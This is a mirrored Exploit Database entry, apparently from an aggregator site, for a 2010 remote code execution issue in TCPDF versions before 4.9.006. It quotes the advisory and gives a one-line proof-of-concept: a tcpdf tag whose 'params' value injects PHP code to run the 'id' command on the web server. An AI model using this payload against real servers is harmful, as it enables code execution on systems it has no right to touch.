TCPDF 4.5.036/4.9.5 – ‘params’ Attribute Remote Code Execution

• Exploit Database
• 116 阅读

• 作者： apoc
  日期： 2010-04-08
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/33826/
• 1 2 3 4 5 6 7 8 9 10

  source: https://www.securityfocus.com/bid/39315/info   TCPDF is prone to a security weakness that may allow attackers to execute arbitrary code.   An attacker can exploit this issue in conjunction with other latent vulnerabilities to execute arbitrary code with the privileges of the webserver.   Versions prior to TCPDF 4.9.006 are vulnerable.   <tcpdf method="Rect" params=");echo <code>id</code>;die(" />